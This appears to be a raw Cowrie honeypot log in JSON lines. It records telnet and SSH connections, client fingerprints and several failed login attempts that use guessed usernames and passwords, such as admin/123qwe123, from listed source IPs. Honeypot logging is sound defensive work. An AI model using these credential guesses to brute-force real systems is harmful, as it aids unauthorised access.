{"eventid":"cowrie.session.closed","duration":44.08163380622864,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:48.811596Z","src_ip":"65.60.27.33","session":"c7ccf5d7dfc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.47446346282959,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:49.302168Z","src_ip":"165.232.131.181","session":"3b442f0edeb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.868075132369995,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:52.808040Z","src_ip":"192.211.53.160","session":"48b33b67c7d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46677303314209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:53.625396Z","src_ip":"62.210.97.77","session":"fc565afd69d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.672426223754883,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:57.323466Z","src_ip":"38.54.119.93","session":"b02b19b2f7b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":36278,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ab74484d25e","protocol":"ssh","message":"New connection: 181.234.2.36:36278 (159.203.135.109:22) [session: 3ab74484d25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:59.754524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:59.759934Z","src_ip":"181.234.2.36","session":"3ab74484d25e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:59.856613Z","src_ip":"181.234.2.36","session":"3ab74484d25e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"P@ssw0rd123","message":"login attempt [ftpuser/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:00.256121Z","src_ip":"181.234.2.36","session":"3ab74484d25e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:01.350296Z","src_ip":"181.234.2.36","session":"3ab74484d25e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56598,"dst_ip":"10.17.0.5","dst_port":23,"session":"446dce04c73a","protocol":"telnet","message":"New connection: 65.60.27.33:56598 (10.17.0.5:23) [session: 446dce04c73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:03.677550Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43450,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8269efe6450","protocol":"telnet","message":"New connection: 165.232.131.181:43450 (10.17.0.5:23) [session: e8269efe6450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:04.044332Z"}
{"eventid":"cowrie.session.closed","duration":38.15006613731384,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:04.185132Z","src_ip":"62.210.97.77","session":"e5352e43e850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":50144,"dst_ip":"10.17.0.5","dst_port":22,"session":"abef4506fb14","protocol":"ssh","message":"New connection: 172.185.24.228:50144 (10.17.0.5:22) [session: abef4506fb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:05.325765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:05.345324Z","src_ip":"172.185.24.228","session":"abef4506fb14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:05.430449Z","src_ip":"172.185.24.228","session":"abef4506fb14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer1","message":"login attempt [developer/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:05.788743Z","src_ip":"172.185.24.228","session":"abef4506fb14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:06.877164Z","src_ip":"172.185.24.228","session":"abef4506fb14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.65831446647644,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:08.789950Z","src_ip":"62.210.97.77","session":"11f52efed9b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.33440613746643,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:09.445655Z","src_ip":"65.60.27.33","session":"f1fc6b8a2ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02881050109863,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:10.444333Z","src_ip":"62.210.97.77","session":"065efd29133b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36532,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f974d0d0b7","protocol":"telnet","message":"New connection: 65.60.27.33:36532 (10.17.0.5:23) [session: 15f974d0d0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:11.285507Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43156,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd8a82ce009","protocol":"telnet","message":"New connection: 65.60.27.33:43156 (10.17.0.5:23) [session: bbd8a82ce009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:17.343570Z"}
{"eventid":"cowrie.session.closed","duration":120.00340485572815,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:19.954434Z","src_ip":"172.58.210.74","session":"08b50d86ba16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59952,"dst_ip":"10.17.0.5","dst_port":23,"session":"7164640e4294","protocol":"telnet","message":"New connection: 62.210.97.77:59952 (10.17.0.5:23) [session: 7164640e4294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:19.970226Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.210.74","src_port":62348,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7e5d086942","protocol":"telnet","message":"New connection: 172.58.210.74:62348 (10.17.0.5:23) [session: 3a7e5d086942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:20.165663Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.210.74","src_port":62150,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c75df2a0d1","protocol":"telnet","message":"New connection: 172.58.210.74:62150 (10.17.0.5:23) [session: 57c75df2a0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:20.386199Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59960,"dst_ip":"10.17.0.5","dst_port":23,"session":"64444c5e8fd2","protocol":"telnet","message":"New connection: 62.210.97.77:59960 (10.17.0.5:23) [session: 64444c5e8fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:21.359294Z"}
{"eventid":"cowrie.session.closed","duration":38.92963981628418,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:23.186050Z","src_ip":"62.210.97.77","session":"931b7d07ff51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14036202430725,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:24.246783Z","src_ip":"62.210.97.77","session":"a18a25584967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.22278833389282,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:24.389894Z","src_ip":"165.232.131.181","session":"812ba8857edf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa311fee3482","protocol":"telnet","message":"New connection: 62.210.97.77:59966 (10.17.0.5:23) [session: fa311fee3482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:27.527747Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57824,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6610240e143","protocol":"telnet","message":"New connection: 62.210.97.77:57824 (10.17.0.5:23) [session: d6610240e143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:29.563199Z"}
{"eventid":"cowrie.session.closed","duration":39.64506554603577,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:43.322484Z","src_ip":"65.60.27.33","session":"446dce04c73a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56056,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aaa3986cf5d","protocol":"telnet","message":"New connection: 38.54.119.93:56056 (10.17.0.5:23) [session: 2aaa3986cf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:43.602553Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43158,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a61d8b0d2d","protocol":"telnet","message":"New connection: 62.210.97.77:43158 (10.17.0.5:23) [session: 84a61d8b0d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:45.799582Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43162,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8c75e91f57","protocol":"telnet","message":"New connection: 62.210.97.77:43162 (10.17.0.5:23) [session: da8c75e91f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:46.209558Z"}
{"eventid":"cowrie.session.closed","duration":45.292784690856934,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:49.337003Z","src_ip":"165.232.131.181","session":"e8269efe6450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.076138734817505,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:50.361512Z","src_ip":"65.60.27.33","session":"15f974d0d0b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47729206085205,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:54.447434Z","src_ip":"62.210.97.77","session":"7164640e4294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.098193645477295,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:55.457381Z","src_ip":"62.210.97.77","session":"64444c5e8fd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.997068881988525,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:14:57.340477Z","src_ip":"65.60.27.33","session":"bbd8a82ce009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48742175102234,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:01.015071Z","src_ip":"62.210.97.77","session":"fa311fee3482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":53842,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fc2ff5ec082","protocol":"ssh","message":"New connection: 181.234.2.36:53842 (159.203.135.109:22) [session: 9fc2ff5ec082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:02.335372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:02.343519Z","src_ip":"181.234.2.36","session":"9fc2ff5ec082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:02.441593Z","src_ip":"181.234.2.36","session":"9fc2ff5ec082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodeuser","password":"nodeuser123","message":"login attempt [nodeuser/nodeuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:02.857385Z","src_ip":"181.234.2.36","session":"9fc2ff5ec082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:03.955333Z","src_ip":"181.234.2.36","session":"9fc2ff5ec082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":52718,"dst_ip":"10.17.0.5","dst_port":22,"session":"94da1be941c7","protocol":"ssh","message":"New connection: 172.185.24.228:52718 (10.17.0.5:22) [session: 94da1be941c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:07.507626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:07.511875Z","src_ip":"172.185.24.228","session":"94da1be941c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:07.598558Z","src_ip":"172.185.24.228","session":"94da1be941c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe123","message":"login attempt [admin/123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:08.029911Z","src_ip":"172.185.24.228","session":"94da1be941c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.795114040374756,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:08.358188Z","src_ip":"62.210.97.77","session":"d6610240e143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43530,"dst_ip":"10.17.0.5","dst_port":23,"session":"18428bb70f68","protocol":"telnet","message":"New connection: 38.54.119.93:43530 (10.17.0.5:23) [session: 18428bb70f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:09.037386Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9cc27b1b99b","protocol":"telnet","message":"New connection: 165.232.131.181:41630 (10.17.0.5:23) [session: a9cc27b1b99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:09.161281Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:09.211123Z","src_ip":"172.185.24.228","session":"94da1be941c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56930,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9ad39314a2d","protocol":"telnet","message":"New connection: 62.210.97.77:56930 (10.17.0.5:23) [session: a9ad39314a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:12.200414Z"}
{"eventid":"cowrie.session.closed","duration":3.783947467803955,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:12.821223Z","src_ip":"38.54.119.93","session":"18428bb70f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56932,"dst_ip":"10.17.0.5","dst_port":23,"session":"4910a9485555","protocol":"telnet","message":"New connection: 62.210.97.77:56932 (10.17.0.5:23) [session: 4910a9485555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:14.522797Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":58980,"dst_ip":"159.203.135.109","dst_port":22,"session":"9be2228cfbe5","protocol":"ssh","message":"New connection: 20.203.42.204:58980 (159.203.135.109:22) [session: 9be2228cfbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:20.483400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:20.487763Z","src_ip":"20.203.42.204","session":"9be2228cfbe5","protocol":"ssh"}
